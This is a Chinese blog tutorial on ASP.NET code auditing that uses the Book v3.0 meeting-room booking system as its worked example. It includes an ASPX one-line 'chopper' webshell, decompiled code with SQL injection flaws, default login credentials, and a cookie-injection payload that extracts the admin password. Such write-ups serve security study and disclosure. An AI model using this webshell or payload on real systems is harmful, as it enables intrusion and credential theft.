0x1 前言 (ForeWord)
继上篇浅谈Mac上手 Asp and Asp.net 代码审计(一)文章,我本来打算接着研究下去的,然而自己做其他事情搁置了,还好最近放假了,能抽出点时间来进行学习下了。我们可以去找asp.net的cms来进行漏洞分析来提高自己的代码审计能力,所以今天我打算以启明星会议室预定系统Book v3.0这个系统作为审计对象。
0x2 补充一些基础概念
经典ASP(Active Server Pages 动态服务器页面)
asp是一种使得网页中的脚本在因特网服务器上被执行的技术。
asp页面的文件扩展名是.asp 通常使用VBScript语言来编写。
后面关于Asp的更多内容,我会在下篇文章通过分析新云网站系统程序来做更详细的理解
ASP.NET
ASP.NET 是新一代ASP。它与经典ASP是不兼容的,但ASP.NET可能包括经典ASP
ASP.NET 页面经过编译的,所以运行速度比经典ASP快
ASP.NET 具有更好的语言支持
ASP.NET 页面的扩展名是.aspx,通常是用VB(visual Basic) 或者 C#(C sharp)编写(主要是C#)
关于使用的语言还有一种就是Jscript.net,我们平时用的aspx一句话就是基于此的,因为其他中间语言已经没有了
eval函数
%@ Page Language=”Jscript”%>
<%eval(Request.Item[“chopper”],”unsafe”);%>
<!– 设置unsafe参数能允许程序在不安全的上下文执行 –>
ASP.NET 中的控件可以用不同的语言(包括C++ 和 Java)编写。
当浏览器请求ASP.NET 文件时,ASP.NET引擎读取文件,编译和执行脚本文件,并将结果以普通的HTML页面返回给浏览器。
ASP.NET文件扩展名
- 经典 ASP 文件的文件扩展名为 .asp
- ASP.NET 文件的文件扩展名为 .aspx
- Razor C# 语法的 ASP.NET 文件的文件扩展名为 .cshtml
- Razor VB 语法的 ASP.NET 文件的文件扩展名为 .vbhtml
ASP.NET Razor
Razor 是一种将服务器代码嵌入到 ASP.NET 网页中的新的、简单的标记语法,很像经典 ASP 。
Razor 具有传统的 ASP.NET 的功能,但更容易使用并且更容易学习。
这个了解下就好了,平时很难遇到。
0x3 Asp.net的编译及其发布 (Principle of compilation and release)
我们平时用 vc++开发asp.net的流程一般是:
建立C# web程序 -> 选择模版 -> 对源码进行开发 -> 编译 -> 发布
关于Core web and Framework 两种框架在.NET生态
THE .NET Framework:
是过去经常使用的,用这个可以创建windows应用程序还有web applications,现在你可以用他创建winform,uwp,wpf等等相关的应用程序,web方式就是 Asp.net MVC
.NET Core :
是微软最新推出的开源的、跨平台的框架
其实两者最大的区别和选择: 程序是否需要跨平台性,其他的话就是一些开发特点(问题不大)
补充(zsx师傅说framework是一种遗留产物,Core的话是全新的框架)
关于asp.net web开发,通常也有两种开发方式: webSite and webApplication( 也就是 网站与web应用程序的区别。)
但是开发的话通常会选择采取web应用程序去开发,我们可以简单看下两者的区别。
web应用程序模型:
1.网站编译速度快
2.可以指定网站项目生成单一的程序集
3.方便管理各个项目
4.每次修改都需要重新编译,把所有处理程序编译成一个程序集(项目名.dll)
web 网站模型:
1.动态编译该页面,不用编译就可以看到效果,适合小网站的开发(有点类似php即视感)
2.每一个处理程序文件都是单独的,比如1.aspx报错不会影响到2.aspx的执行,web应用程序则相反。
3.每次运行都会即时编译一个程序集dll文件,可以用
context.Response.Write(System.Reflection.Assembly.GetExecutingAssembly().Location)
获取到dll文件的位置。
怎么区别呢?
项目就是一个应用程序,在vs中查看的时候,项目中建立的一般处理程序,有两个文件,比如First.ashx还有First.ashx.cs而网站只有一个First.ashx,但是他们写代码是一样的。
还有就是项目中的一般处理程序有命名空间,而网站没有命名空间。
因为命名空间作用是为了区分类同名的情况,而网站一个文件就是一个独立的程序。
例子就是:
First.ashx对应代码如下
<%@ webHandler Language="C#" CodeBehind="First.ashx.cs" class="webApplication1.First" %>
然后是一个 First.ashx.cs 文件,会有个空间声明
namespace webApplication1{
public void First : IHttpHandler
{
………………..
}
}
这就是网站应用程序的特点
而asp.net 网站的特点就是没有命名空间
<% webHandler Language="C#" class="First" %>
public void First : IHttpHandler
{
………………..
}
0x4 浅探Asp.net 反编译原理
我们先了解下程序集的概念:
程序集,是基于.net平台,*.dll,*.exe为后缀的文件。
分类: 私有程序集 和 共享程序集
程序集包括:
1.windows文件首部 作用就是告诉window操作系统去区别asp.net 、 winform 和 控制台应用程序
2.CLR 首部信息: .NET 程序的标志
3.元数据:MeteData 描述数据的数据
4.程序集清单: 记录程序包含的dll程序以及相关版本信息
5.可选的内嵌资源
单文件程序集:
我们新建一个类库工程,然后编译就会得到一个*.dll的文件。
多文件程序集:
由多个模块构成的程序集,就是把另外的程序当作一个模块写进了另外一个dll。
接着我们可以了解下程序集的在asp.net工作流程:
1.页面的编译
页面的编译
特定.aspx资源的程序集的生成分为两个步骤进行。首先,该资源文件的源代码会被解析,根据得到的信息,从Page类(或Page的派生类)派生出相应的类。然后,动态生成的类会被编译为程序集,该程序集之后会被缓存到ASP.Net专用的临时目录下。
只要链接的aspx源文件没有被更改,且整个应用程序没有重启,已编译的页面就一直存在。对已链接aspx文件的任何更改,将使相关程序集变为无效,并在该页面下一次被请求时,强制HTTP运行库创建新的程序集。
编辑web.config和global.asax之类的文件会导致整个应用程序重启。在这种情况下,在某个页面被请求时,所有页面会被重新编译。如果bin文件夹中程序集被改动(新建或替换),所有页面也会被重新编译。
由于iis版本不同,对应的处理过程也有所差异,如果想全面了解推荐博客:asp.net
这里我针对iis6.0来简单介绍下asp.net环境下程序集的作用:
用户页面请求->iis6.0(驱动程序http.sys管理输入请求)->请求aspx资源->解析标识,映射到Page的派生类,确定处理该请求的类名->如果当前加载到AppDomain的程序集不包含这个名称的类,http运行库将发出该类的创建和编译命令,如果程序集存在这个类,则会被直接加载到内存用来处理该请求
关于asp.net 的详细http页面请求处理流程可以参考下图(主要看PageHandlerFactory即可):
ASP.NET 请求处理流程结合这篇文章或许能更好的帮助理解,但是也有一些差异。
这里可以归纳下程序集的作用(自我理解,可能不准确):
编译生成的程序集(.dll)是一种中间语言(IL)代码,集合了源代码中的所有.aspx.cs文件,能够被iis进程来调用,从而减少编译时间。
这里可以推荐下一个反编译的工具:
dnSpy 下载地址(这个是源码得用vs编译一下,我下面的内容是用1.5版本演示的,可能有点不太一样,不过网上有这个相关的教程,如果看不懂可以自己去百度学习下)
这个反编译工具可以反编译出源码然后修改内容再重新编译(平时我们写一些dll劫持的东西也可以这样弄,下次有机会写篇文章介绍下dll的相关利用)。
这里我可以演示下用c#写的hello world exe程序进行反编译
直接新建个.net framwork的控制台程序项目,代码如下:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
string str = "Hello World";
Console.WriteLine(str);
Console.ReadKey();
}
}
}
然后直接打开dnspy,把exe程序直接拖进去
修改下字符串->edit method->然后重新编译即可。(dnspy分64和32位版本,debug的需要32位,自己选择)
0x5 系统的安装过程 (System Installation)
源码下载地址(Source code Dowload URL): 启明星会议室预定系统Book v3.0
然后解压压缩包,可以看到有个readme.htm的安装指南。
当前环境(current environment):
我的系统(my system): mac os
审计环境系统(audit system): win10
服务器(server): iis
数据库(database): sqlserver 2012 (这个是在写这篇文章的时候装的,上面那两个环境是基于第一篇文章的)
0x5.1 快速安装 (Quick Step)
1.快速安装(推荐,用于快速测试系统功能) 1.1 下载 安装微软 LocalSqlDb.msi LocalSqlDb.msi 并双击它安装。 1.2 从启明星官网下载您所需要的程序,解压后,双击 QMX.exe,即可运行。
这个,我个人不是很推荐,感觉没办法进行debug,而且有可能和真实环境有出入,我比较喜欢把审计环境贴近实际环境。
0x5.2 正式安装
我演示下自己的安装过程(个人觉得asp.net审计,环境搭建过程是真的有点繁琐,可能是我很少用window 系统)。
首先我们用 Microsoft SQL Server Management Studio,然后在安全性的登陆名找到sa,设置密码,并且允许登陆。
之后我们在
新建一个名字为 book的数据库(名字一定要是book,因为book.sql数据文件中写死了 USE [book])
然后按下 ctrl + o 快捷键 或者直接在菜单栏点击打开文件,然后打开在 app_data 下的 book.sql脚本
然后点击执行
这样子,我们的表就自动建立了,然后修改根目录下的web.config文件的数据库链接
修改为如下:
<connectionStrings>
<add name="connectionString" connectionString="server=XQ176FEE\SSA; database=book; uid=sa; pwd=sa123; "/>
</connectionStrings>
配置完成之后,我们还需要在iis上配置发布我们的网站。
由于文件夹权限问题,iis默认权限(network service) 没办法访问。
window 我个人感觉是真的烦。 文件夹我们为了方便我们直接设置所有者为Everyone 权限。
然后配置下iis(如果不对,试着调整下DefaultAppPool得net版本):
最后,我们就可以直接打开网站了。
默认密码是:
admin
123456
0x6 系统结构
第一篇文章已经写了我的环境,我是在Mac的PD下安装的WIN10,Mac可以直接共享window的文件夹。
直接执行tree命令列举出目录:
简单介绍下tree的命令使用:
tree –help 获取tree的帮助信息
tree -L 3 Descend only level directories deep 代表遍历level=3 层目录
tree -C Turn colorization on always 着色
tree -d List directories only 只列举目录
tree -L 2 -C:
── Admin //后台目录
│ ├── About_Intro.aspx
│ ├── Admin.Master
│ ├── Book_Category_Area.aspx
│ ├── Book_Client_Caller.aspx
│ ├── Book_Client_Info.aspx
│ ├── Book_Room_Config.aspx
│ ├── Book_Service_Config.aspx
│ ├── Config_Email.aspx
│ ├── Config_Email_EWS.aspx
│ ├── DB_Tool.aspx
│ ├── Default.aspx
│ ├── PItem.aspx
│ ├── PItemsControl.ascx
│ ├── Refresh.aspx
│ ├── ResetPwd.aspx
│ ├── Setting_Tool.aspx
│ ├── Upload.aspx
│ ├── Upload2.aspx
│ ├── User_MoveDept.aspx
│ ├── Users_Dept.aspx
│ ├── Users_Dept_Reset.aspx
│ ├── Users_EditUser.aspx
│ ├── Users_Export_Data.aspx
│ ├── Users_Import_Data.aspx
│ ├── Users_Imports_AD_Dept.aspx
│ ├── Users_Imports_From_AD.aspx
│ ├── Users_Imports_From_AD2.aspx
│ ├── Users_Lists.aspx
│ ├── Users_Query.aspx
│ ├── Users_Role.aspx
│ ├── Users_SetRight.aspx
│ ├── Users_Xfpinyin.aspx
│ ├── avtor.jpg
│ ├── images
│ └── img
├── App_Data // 应用数据
│ ├── MSSQL.BAT
│ ├── MSSQLEXPRESS.BAT
│ ├── Other1.xml
│ ├── Other2.xml
│ ├── RoomProperty.xml
│ ├── ad.xml
│ ├── allow_ext.xml
│ ├── book.mdf
│ ├── book.sql //安装的默认数据
│ ├── email.xml
│ ├── keep_db.txt
│ └── tool.xml
├── Book //
│ ├── AddBook.aspx
│ ├── Book.master
│ ├── ChangeArea.aspx
│ ├── CurrentMeeting.aspx
│ ├── DailyView.aspx
│ ├── Default.aspx
│ ├── Delete.aspx
│ ├── Details.aspx
│ ├── Editbook.aspx
│ ├── MyBook.aspx
│ ├── Pad.aspx
│ ├── Pop_Pc.aspx
│ ├── Pop_Projector.aspx
│ ├── Pop_Room.aspx
│ ├── Pop_Users.aspx
│ ├── Search.aspx
│ ├── WeeklyView.aspx
│ ├── images
│ ├── json_dept.aspx
│ ├── json_users.aspx
│ ├── quickbook.aspx
│ └── style
├── Default.aspx
├── GetPassword.aspx
├── Login.aspx
├── Logout.aspx
├── MyProfile.aspx
├── Register.aspx
├── Report
│ ├── DataAnalyze.aspx
│ ├── Export.aspx
│ ├── Export_Data.aspx
│ ├── Month_Times.aspx
│ ├── Rating.aspx
│ ├── Report.Master
│ ├── Timing.aspx
│ ├── Trending.aspx
│ ├── UsingRating.aspx
│ ├── ajax
│ └── default.aspx
├── SimlpeUploadFile.aspx
├── SystemConfig.exe
├── Template //模版文件
│ ├── cancel_temlate.htm
│ ├── memberTemplate.xls
│ └── new_temlate.htm
├── UserControls //
│ ├── Area.ascx //模版控件 嵌入aspx里面使用
│ ├── BookList.ascx
│ └── Rpt.ascx
├── Wap //wap版文件
│ ├── GetAjaxBookList.aspx
│ ├── GetAjaxCurrentBook.aspx
│ ├── GetAllRoom.aspx
│ ├── GetRoom.aspx
│ ├── Room1.aspx
│ ├── Room2.aspx
│ ├── Room3.aspx
│ ├── clock
│ ├── date.js
│ ├── date2.js
│ └── images
├── Web.config
├── bin // 程序集
│ ├── Book.dll //核心代码程序集
│ ├── Book.dll.config
│ ├── DNHelper.dll //数据库组件 主要是封装了一些数据库操作
│ ├── DayPilot.dll //Daypilot js 控件 主要是画图用的
│ ├── DayPilot.xml
│ ├── EeekSoft.Web.PopupWin.dll //弹出窗口的控件类
│ ├── ICSharpCode.SharpZipLib.dll //压缩文件的控件
│ ├── Interop.jmail.dll //收发邮件的组件
│ ├── MoverControl.dll // 用来操作前端的组件类
│ ├── NPOI.OOXML.dll //NPOI.Util. 基础类库,用于其他读写文件格式项目的开发
│ ├── NPOI.OpenXml4Net.dll //同上属于 NPOI
│ ├── NPOI.OpenXmlFormats.dll //同上属于 NPOI
│ ├── NPOI.dll //同上属于 NPOI
│ └── xListBox.dll
├── bootstrap //静态框架
├── chagepwd.aspx
├── dbback
├── deny.aspx
├── images //静态图片
├── install //安装目录
│ ├── Tool.aspx
│ ├── default.aspx
│ ├── lock.txt
│ ├── reset.txt
│ └── test_right.txt
├── javascript //静态文件
├── m //手机版文件
│ ├── AddBook.aspx
│ ├── Default.aspx
│ ├── Details.aspx
│ ├── Login.aspx
│ ├── MyMeeting.aspx
│ ├── MyProfile.aspx
│ ├── Mybook.aspx
│ ├── Search.aspx
│ ├── SearchStatus.aspx
│ ├── ajax
│ ├── ajax_get_available_room.aspx
│ ├── css
│ ├── del.aspx
│ ├── fonts
│ ├── images
│ ├── js
│ └── m.Master
├── readme.txt //说明文档
├── style //静态文件
├── temp
├── uploads //上传目录
│ ├── 2014-07
│ ├── 2014-08
│ └── Thumbs.db
└── webserver.exe //快速安装提供iis环境
其实上面有很多和我们代码审计没有很大关系,可以重点看我注释部分,明白重点是book.dll
0x7 程序的组成
通过查看其中的一个aspx文件,ex C:\Users\xq17\Desktop\book30.0\book\m\Search.aspx
<%@ Page Title="" Language="C#" MasterPageFile="~/m/m.Master" AutoEventWireup="true" CodeBehind="Search.aspx.cs" Inherits="Book.m.Search" %>
我们可以得到这个cms是一个web应用程序而不是一个web网站
并且CodeBehind(后端代码)源文件是Search.aspx.cs,继承于Book.m.Search类
直接拖进dnsSpy可以看到程序的一些设置信息(版本、名称等)
0x8 小试身手之演示挖掘注入过程
把核心的book.dll丢进dnSpy里面
可以看到反编译出了很多类,for example:
首先前面我们已经知道命名空间的作用就是防止类冲突,所以这里反编译对应的结果就是
代表在Book.m命名空间中存在着
这么多种操作类。
这里我们读下Book/m 下search类 , code as
using System;
using System.Web.UI;
using System.Web.UI.WebControls;
using DBHelper;
namespace Book.m
{
// Token: 0x0200003E RID: 62
public class Search : Page
{
// Token: 0x060000F4 RID: 244 RVA: 0x0000CC18 File Offset: 0x0000AE18
protected void Page_Load(object sender, EventArgs e)
{
if (!this.Page.IsPostBack)
{
this.Bind();
}
}
// Token: 0x060000F5 RID: 245 RVA: 0x0000CC2D File Offset: 0x0000AE2D
protected void Button3_Click(object sender, EventArgs e)
{
this.Bind();
}
// Token: 0x060000F6 RID: 246 RVA: 0x0000CC35 File Offset: 0x0000AE35
protected void lv_lists_PagePropertiesChanging(object sender, PagePropertiesChangingEventArgs e)
{
this.DataPager1.SetPageProperties(e.StartRowIndex, e.MaximumRows, false);
this.Bind();
}
// Token: 0x060000F7 RID: 247 RVA: 0x0000CC58 File Offset: 0x0000AE58
public void Bind()
{
string text = " select id, \r\n begintime, \r\n endtime, \r\n roomname , \r\n numbers, \r\n contactname,\r\n intro from book_booklist \r\n \r\n where process in (1,3,5) ";
if (this.txt_contactname.Text != "")
{
if (this.txt_contactname.Text.Length > 20)
{
this.txt_contactname.Text = this.txt_contactname.Text.Substring(0, 19);
}
text = text + " and contactanme like '" + this.txt_contactname.Text + "' ";
}
if (this.rbl_date.SelectedItem.Value == "today")
{
object obj = text;
text = string.Concat(new object[]
{
obj,
" and begintime>='",
DateTime.Today,
"'"
});
object obj2 = text;
text = string.Concat(new object[]
{
obj2,
" and begintime< '",
DateTime.Today.AddDays(1.0),
"'"
});
}
if (this.rbl_date.SelectedItem.Value == "tomorrow")
{
object obj3 = text;
text = string.Concat(new object[]
{
obj3,
" and begintime>='",
DateTime.Today.AddDays(1.0),
"'"
});
object obj4 = text;
text = string.Concat(new object[]
{
obj4,
" and begintime< '",
DateTime.Today.AddDays(2.0),
"'"
});
}
if (this.rbl_date.SelectedItem.Value == "week")
{
object obj5 = text;
text = string.Concat(new object[]
{
obj5,
" and begintime>='",
DateTime.Today,
"'"
});
object obj6 = text;
text = string.Concat(new object[]
{
obj6,
" and begintime< '",
DateTime.Today.AddDays(7.0),
"'"
});
}
if (this.txt_key.Text != "")
{
if (this.txt_key.Text.Length > 20)
{
this.txt_key.Text = this.txt_key.Text.Substring(0, 19);
}
text = text + " and roomname+intro like '%" + this.txt_key.Text + " %' ";
}
text += " order by id desc ";
text = text.ToLower().Replace("update", "").Replace("insert", "").Replace("delete", "").Replace("select", "");
this.lv_lists.DataSource = Instance.ExeDataSet("select " + text);
this.lv_lists.DataBind();
}
// Token: 0x04000181 RID: 385
protected TextBox txt_contactname; //这里定义了几个私有属性
// Token: 0x04000182 RID: 386
protected RadioButtonList rbl_date;
// Token: 0x04000183 RID: 387
protected TextBox txt_key;
// Token: 0x04000184 RID: 388
protected Button Button3;
// Token: 0x04000185 RID: 389
protected ListView lv_lists;
// Token: 0x04000186 RID: 390
protected DataPager DataPager1;
}
}
这里我们需要重点理解两个方法(Page_Load):
protected void Page_Load(object sender, EventArgs e) //这个会在加载search.aspx的时候自动触发
{
if (!this.Page.IsPostBack) //第一次加载时触发 一般用来初始化些设置
{
this.Bind();
}
}
protected void Button3_Click(object sender, EventArgs e) //当点击控件时就会触发
{
this.Bind();
}
对应的我们在页面
http://10.211.55.20:8083/m/search.aspx
点击的搜索的时候,就会触发Button3_Click方法,然后执行当前类下的Bind方法,我们跟进
public void Bind()
{
string text = " select id, \r\n begintime, \r\n endtime, \r\n roomname , \r\n numbers, \r\n contactname,\r\n intro from book_booklist \r\n \r\n where process in (1,3,5) ";
if (this.txt_contactname.Text != "")
{
if (this.txt_contactname.Text.Length > 20)
{
this.txt_contactname.Text = this.txt_contactname.Text.Substring(0, 19);
}
text = text + " and contactanme like '" + this.txt_contactname.Text + "' ";
}
if (this.rbl_date.SelectedItem.Value == "today")
{
object obj = text;
text = string.Concat(new object[]
{
obj,
" and begintime>='",
DateTime.Today,
"'"
});
object obj2 = text;
text = string.Concat(new object[]
{
obj2,
" and begintime< '",
DateTime.Today.AddDays(1.0),
"'"
});
}
if (this.rbl_date.SelectedItem.Value == "tomorrow")
{
object obj3 = text;
text = string.Concat(new object[]
{
obj3,
" and begintime>='",
DateTime.Today.AddDays(1.0),
"'"
});
object obj4 = text;
text = string.Concat(new object[]
{
obj4,
" and begintime< '",
DateTime.Today.AddDays(2.0),
"'"
});
}
if (this.rbl_date.SelectedItem.Value == "week")
{
object obj5 = text;
text = string.Concat(new object[]
{
obj5,
" and begintime>='",
DateTime.Today,
"'"
});
object obj6 = text;
text = string.Concat(new object[]
{
obj6,
" and begintime< '",
DateTime.Today.AddDays(7.0),
"'"
});
}
if (this.txt_key.Text != "")
{
if (this.txt_key.Text.Length > 20)
{
this.txt_key.Text = this.txt_key.Text.Substring(0, 19);
}
text = text + " and roomname+intro like '%" + this.txt_key.Text + " %' ";
}
text += " order by id desc ";
text = text.ToLower().Replace("update", "").Replace("insert", "").Replace("delete", "").Replace("select", "");
this.lv_lists.DataSource = Instance.ExeDataSet("select " + text);
this.lv_lists.DataBind();
}
this.txt_contactname.Text 这个在类中有定义protected TextBox txt_contactname;
而TextBox类型在System.Web.UI.WebControls中被定义,跟进下代码或者读下official document
我们可以知道this.txt_contactname.Text是获取this.txt_contactname的值也就是对应控件
中生成的input中的value的值
可以看到中间没有进行了其他过滤(有时候要考虑全局过滤)
asp.net 的全局过滤一般有两种:
1.编写Global.asax
2.filter httpcontext上下文实例
通过阅读web.config这一全局配置可以知道这个cms没有全局过滤。
很显然,代码在
text = text + " and contactanme like '" + this.txt_contactname.Text + "' "; //拼接了可控变量
if (this.txt_key.Text != "")
{
if (this.txt_key.Text.Length > 20)
{
this.txt_key.Text = this.txt_key.Text.Substring(0, 19); //拼接了可控变量,但是做了长度截断处理
}
text = text + " and roomname+intro like '%" + this.txt_key.Text + " %' ";
}
最后程序:
this.lv_lists.DataSource = Instance.ExeDataSet(“select ” + text); //进行数据库查询操作,结果集作为显示数据源
this.lv_lists.DataBind();//绑定显示控件,返回结果
我们可以尝试跟进下Instance.ExeDataSet这个方法
namespace DBHelper
{
// Token: 0x02000016 RID: 22
public class Instance
{
// Token: 0x06000115 RID: 277 RVA: 0x00007F80 File Offset: 0x00006180
public static DataSet ExeDataSet(string strSql)
{
strSql = Instance.checkSql(strSql); //这里进行了check,默认是没有操作,可以重写来escape。
SqlConnection connection = new SqlConnection(Instance._con);
SqlCommand sqlCommand = new SqlCommand(strSql);
sqlCommand.Connection = connection;
DataSet result;
using (SqlDataAdapter sqlDataAdapter = new SqlDataAdapter(sqlCommand)) //这里执行了sql操作
{
DataSet dataSet = new DataSet();
sqlDataAdapter.Fill(dataSet); //结果数据用来填充dataSet对象
sqlCommand.Parameters.Clear();
result = dataSet;
}
return result;//返回了sql的结果集合
}
所以说这里就是一个很明显的注入啦,但是限制了长度为20,没有办法随心所欲的注入。
但是可以获取下数据库名,这里用burp演示下。
0x9 开启0day之旅之前台SQL注入
上面那个search.aspx在旧版本应该没有限制长度,后面这个V3.0最新版应该修复了,不过还是可以获取到数据库等信息。虽然这个点不能够完美注入,但是因为这个系统没做cms全局过滤,除开那些做了参数化查询的点,很容易找到其他注入点,让我们一起来挖掘吧。
分析下前台登陆验证的流程:
由web.config中<authentication mode=”Forms”/>身份验证采取的是form认证。
if (FormsAuthentication._FormsName == null)
{
FormsAuthentication._FormsName = ".ASPXAUTH";
}
cookie字段默认就是.ASPXAUTH
public static int Login(string username, string password)
{
string sql = " select uid from users_users where username=@username and password=@password; ";
SqlParameter[] prams = new SqlParameter[]
{
new SqlParameter("@username", username),
new SqlParameter("@password", Helper.Encrypt(password))//参数化查询
};
object obj = Instance.ExeScalar(sql, prams);
if (obj == null || obj == DBNull.Value)
{
return -1;
}
int num = int.Parse(obj.ToString());
if (num > 0)
{
UsersHelper.Login(num);
}
return num;
}
所以登陆处没办法注入,登陆成功后设置cookie
public static void Login(int i)
{
string path = HttpContext.Current.Request.ApplicationPath;
if (Helper.GetWebconfig("apppath") != "")
{
path = Helper.GetWebconfig("apppath");
}
DataTable userInfoById = UsersHelper.GetUserInfoById(i);
string userRolesString = UsersHelper.GetUserRolesString(i);
DataRow dataRow = userInfoById.Rows[0];
HttpContext.Current.Response.Cookies["userinfo"]["userid"] = HttpContext.Current.Server.UrlEncode(i.ToString());
HttpContext.Current.Response.Cookies["userinfo"]["username"] = HttpContext.Current.Server.UrlEncode(dataRow["username"].ToString());
HttpContext.Current.Response.Cookies["userinfo"]["avtor"] = HttpContext.Current.Server.UrlEncode(dataRow["avtor"].ToString());
HttpContext.Current.Response.Cookies["userinfo"]["deptname"] = HttpContext.Current.Server.UrlEncode(dataRow["Department"].ToString());
HttpContext.Current.Response.Cookies["userinfo"]["displayname"] = HttpContext.Current.Server.UrlEncode(dataRow["displayname"].ToString());
HttpContext.Current.Response.Cookies["userinfo"]["roles"] = HttpContext.Current.Server.UrlEncode(userRolesString);
HttpContext.Current.Response.Cookies["userinfo"]["password"] = "";
HttpContext.Current.Response.Cookies["userinfo"].Expires = DateTime.Now.AddDays((double)Helper.CookieDay);
HttpContext.Current.Response.Cookies["userinfo"].Path = path;
FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(1, i.ToString(), DateTime.Now, DateTime.Now.AddDays((double)Helper.CookieDay), true, userRolesString);
string value = FormsAuthentication.Encrypt(ticket);
HttpCookie httpCookie = new HttpCookie(FormsAuthentication.FormsCookieName, value);//FormsAuthentication.FormsCookieName=.ASPXAUTH
httpCookie.Path = path;
httpCookie.Expires = DateTime.Now.AddDays((double)Helper.CookieDay);
HttpContext.Current.Response.Cookies.Add(httpCookie); //设置cookie
}
所以说关键的验证是:
FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(1, i.ToString(), DateTime.Now, DateTime.Now.AddDays((double)Helper.CookieDay), true, userRolesString);
加密过程依赖MachineKey,不同服务器这个值不同,所以没办法伪造cookie。
这个系统是分为两部分的,一个是用户、一个是管理员
在v1.7的时候book/Search.aspx不需要登陆就可以访问(web.config可以设置指定页面所有人可以访问),但是v3.0这个版本至少需要一个用户账号。
v3.0 的web.config就配置了
getpassword.aspx chagepwd.aspx m/login.aspx是所有用户都可以访问,其他的话就需要权限了
<location path="m/login.aspx">
<system.web>
<authorization>
<allow users="*"/> //这个就是所有用户都可以访问
</authorization>
</system.web>
</location>
.........
<system.web>
<authorization>
<deny users="?"/> //禁止匿名用户
</authorization>
这个系统默认安装会有(当然也可以爆破,没有验证码):
kevin 普通用户 123456
dream 普通用户 123456
admin 管理员 123456
其实这个系统应该挺多注入的,但是我的初心还是为了学习asp.net代码审计,所以这里只分析一个有趣的点。
url:http://10.211.55.20:8083/m/MyMeeting.aspx
我们跟进代码看下:
这里可以很明显看出:
string strSql = string.Concat(new object[]{"123",this.username,});//通过string的Concat方法拼接了this.username
然后在
DataSet dataSet = Instance.ExeDataSet(strSql); //这里进行了sql查询
this.lv_lists.DataSource = dataSet.Tables[0];
this.lv_lists.DataBind();
this.lv_lists2.DataSource = dataSet.Tables[1];
this.lv_lists2.DataBind();
如果我们可以控制this.username那么就可以注入了
this.uid = UserHelper.GetUserId;
this.username = UserHelper.GetLoginName; //我们选择跟进GetLoginName
UserHelper.GetLoginName
public static string GetLoginName
{
get
{
if (Helper.IsUseAd && HttpContext.Current.Request.Cookies["userinfo"] == null)//Cookie可控可以绕过
{
UsersHelper.LoginAd(UserHelper.GetSamaccountName());
}
if (HttpContext.Current.Request.Cookies["userinfo"] != null) //进入这里
{
return HttpContext.Current.Server.UrlDecode(HttpContext.Current.Request.Cookies["userinfo"]["username"]); //这里返回了Cookie作为this.username
}
return "";
}
}
这里基本无限制注入,获取管理员密码
Cookie: userinfo=userid=1&username=admin' and (select top 1 password from users_users where username='admin')>0--+;
其实就是md5加密,只是做了分割而已,这个跟进代码看看就知道了。
这个注入有个专属名字叫做cookie注入,在防护还有绕过waf上,是非常经典的漏洞。
0x0A SQL注入修补方案
建议全部上参数化查询
0x0B 总结
感觉自己对于asp.net审计只是很浅的入门而已,还需要在开发和审计代码中不断提高自己,目前在着手写最近在护网过程中遇到一个asp系统叫做新云内容管理系统v3.0,虽然没有啥漏洞,但是可以记录下自己审计asp程序的思路和突破点(asp程序读起来相当简单,也很直观,只是代码比较乱)。后面几天,我会继续完善关于asp.net程序其他漏洞的审计思路,并且都通过实战挖掘0day的方式去审计,由于自己比较菜,欢迎师傅们多多指点。
0x0C 参考链接
【ASP.NET代码审计】逐浪CMS(ZOOMLA!CMS)漏洞挖掘
ASP.NET入门(1) – 建立和开发ASP.NET 5 项目
简析.NET Core 以及与 .NET Framework的关系
浅谈 .NET Framework 与 .NET Core 的区别与联系
dnSpy对目标程序(EXE或DLL)进行反编译修改并编译运行